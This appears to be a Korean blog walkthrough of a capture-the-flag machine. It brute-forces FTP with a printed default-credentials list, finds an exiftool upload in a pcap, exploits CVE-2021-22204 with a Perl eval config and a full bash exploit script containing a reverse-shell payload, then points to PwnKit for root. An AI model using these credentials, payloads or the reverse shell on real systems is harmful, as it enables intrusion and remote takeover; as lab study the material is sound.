1. Information Gathering 

: Port Scanning

 

서비스가 2개 오픈 상태인데 

80 접속해 보면 forbidden이 뜸

 

 

ftp의 경우 anonymous 로그인 허용이 불가능한 상태인데

이런저런 시도를 해봐도 달리 공격포인트를 못 찾다가

로그인을 위한 쉬운 credentials list를 찾아보았고

 

# /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
anonymous:anonymous
root:rootpasswd
root:12hrs37
ftp:b1uRR3
admin:admin
localadmin:localadmin
admin:1234
apc:apc
admin:nas
Root:wago
Admin:wago
User:user
Guest:guest
ftp:ftp
admin:password
a:avery
admin:123456
adtec:none
admin:admin12345
none:dpstelecom
instrument:instrument
user:password
root:password
default:default
admin:default
nmt:1234
admin:Janitza
supervisor:supervisor
user1:pass1
avery:avery
IEIeMerge:eMerge
ADMIN:12345
beijer:beijer
Admin:admin
admin:1234
admin:1111
root:admin
se:1234
admin:stingray
device:apc
apc:apc
dm:ftp
dmftp:ftp
httpadmin:fhttpadmin
user:system
MELSEC:MELSEC
QNUDECPU:QNUDECPU
ftp_boot:ftp_boot
uploader:ZYPCOM
ftpuser:password
USER:USER
qbf77101:hexakisoctahedron
ntpupdate:ntpupdate
sysdiag:factorycast@schneider
wsupgrade:wsupgrade
pcfactory:pcfactory
loader:fwdownload
test:testingpw
webserver:webpages
fdrusers:sresurdf
nic2212:poiuypoiuy
user:user00
su:ko2003wa
MayGion:maygion.com
admin:9999
PlcmSpIp:PlcmSpIp

 

위 리스트를 토대로 user/password를 구분한 뒤

hydra를 돌려보면 ftp 로그인이 가능.

접속 성공 후 파일 다운로드!

 

 

다운받은 파일을 살펴보니 pcap 파일이고

 

 

wireshark로 패킷을 살펴보니

/exiftest.php 경로,

myFile에 testme.jpg

업로드 한 흔적을 확인할 수 있고

 

 

POST request의 endpoint에서

Exiftool의 버전 확인이 가능하다.

 

 

 

2. Exploitation

관련 취약점을 찾아보니

 

'Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image

ExifTool 버전 ​​7.44 이상에서 DjVu 파일 형식의 사용자 데이터의 부적절한 무효화로 인해

악성 이미지를 구문 분석할 때 임의 코드 실행이 허용됨'

 

라고 하니

 

이미지 파일에 시스템 명령어를 삽입한 뒤

해당 파일을 어딘가 업로드 후 실행시키면

되겠다.

 

 

해당 작업을 위해 임의의 이미지 파일을 하나 가져오고

찾은 eval.config 파일을 살펴본다.

%Image::ExifTool::UserDefined = (
    'Image::ExifTool::Exif::Main' => {
        0xc51b => {
            Name => 'eval',
            Binary => 1,
            Writable => 'undef',
            WriteGroup => 'IFD0',
            ValueConvInv => sub {
                use MIME::Base64;
                my $val = shift;
                $encoded = encode_base64($val);
                my $meta = qq/(metadata(Copyright "\\\n" eq ''; return (eval { use MIME::Base64; eval(decode_base64(q%$encoded%)); });#"))/;
                my $len = pack "N", length($meta);
                my $payload = qq/AT&TFORM\x00\x00\x00\x08DJVUANTa$len$meta/;
                return $payload;
            }
        }
    }
)
 

 

위 config 파일을 사용해

exiftool 명령어로

가지고 온 이미지를 변조시킨 뒤

# exiftool -config eval.config p.jpg -eval='system("ls -al")'
 

 

curl로 파일을 올려보면

exiftool -config eval.config p.jpg -eval='system("ls -al")'
 

 

업로드는 잘 되는 것 같은데

실행은 안 되는듯하다.

 

 

조금 더 찾아보면

좀 더 업그레이드된 exploit을

찾을 수 있는데

#!/bin/bash

RS='\033[0m'
R='\033[0;31m'
G='\033[0;32m'
LB='\033[1;34m'
CY='\033[0;36m'
W='\033[1;73m'

art=$(base64 -d <<< "H4sIAFNGCWEA/52OMRLEIAwD+7xiy1Dxm6s8w0f8+KxyUFx7eGQhodgBVs4viy8ptz5Qx75gqoqSc2sLBtRLHcfLgX6TusTtmOLDbEytlQn3yCATW5/Sz6DVbizf2j7fVDPteiHX+0f5diM+5rLxz/MATvFQnxwBAAA=" | gunzip)
printf "${G}$art${RS}"


# Check for params
if [ ${#@} -lt 2  ]; then
    echo -e "\nUsage: ./CVE-2021-22204 cmd image.jpg"
    echo -e "Eg: ./CVE-2021-22204 \"system('id')\" kitten.jpg" 
    echo -e "Reverseshell: ./CVE-2021-22204 \"reverseme IP PORT\" image.jpg"
    exit
fi

# Check djvulibre is installed. 
if [ $(dpkg-query -W -f='${Status}' "djvulibre-bin" 2>/dev/null | grep -c "ok installed") -eq 0 ];then
    echo -e -n "\n${R}Warning:${RS} djvulibre-bin is not installed.\n"
    echo -e "${G}Confirm: ${RS}"
    read -p  "Install djvulibre-bin now? (y/n): " confirm
    if [[ ${confirm} =~ ^([yY][eE][sS]|[yY])$  ]]; then
        sudo apt-get install djvulibre-bin -y
    else
        exit
    fi
fi

# Create payload
echo -e "\nCreating payload"

cmd="$1"

if [[ "${cmd:0:9}" = "reverseme" ]]; then
        ip=$(echo "$cmd"| cut -d " " -f 2)
        port=$(echo "$cmd"| cut -d " " -f 3)
        echo "IP: $ip"
        echo "PORT: $port"
cat <<EOF> payload
(metadata "\c\${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in($port,inet_aton('$ip')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};};")
EOF

else
cat <<EOF > payload
(metadata "\c\${$1};")
EOF
fi

cat payload
echo -e "\n"

# Compress payload
bzz payload payload.bzz

# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz

cat <<EOF> configfile
%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        0xc51b => {
            Name => 'HasselbladExif',
            Writable => 'string',
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end%
EOF

exiftool -config configfile '-HasselbladExif<=exploit.djvu' "$2"
rm configfile payload.bzz payload exploit.djvu

echo -e -n "\n${G}Finished${RS}"
 

해당 프로그램을 실행시켜 보면

 

p.jpg 파일을 리버스 쉘 파일로 변조시킬 수 있고

리스너를 기동 후 해당 파일을 업로드해 보면

 

침투 성공

 


 

 

 

3. Privilege Escalation

policykit-1 패키지

 

버전 확인

 

 

0.105-26 ubuntu1.1

0.105-26 ubuntu1.2

 

관련 취약점을 찾아보면

CVE-2021-4034(PwnKit)으로

Polkit의 pkexec 컴포턴트에 존재하는 취약점.

 

exploit을 검색한 뒤

(python exploit code for pwnkit 또는

python exploit code forcve-2021-4034)

돌려보면

 

 

 

728x90

+ Recent posts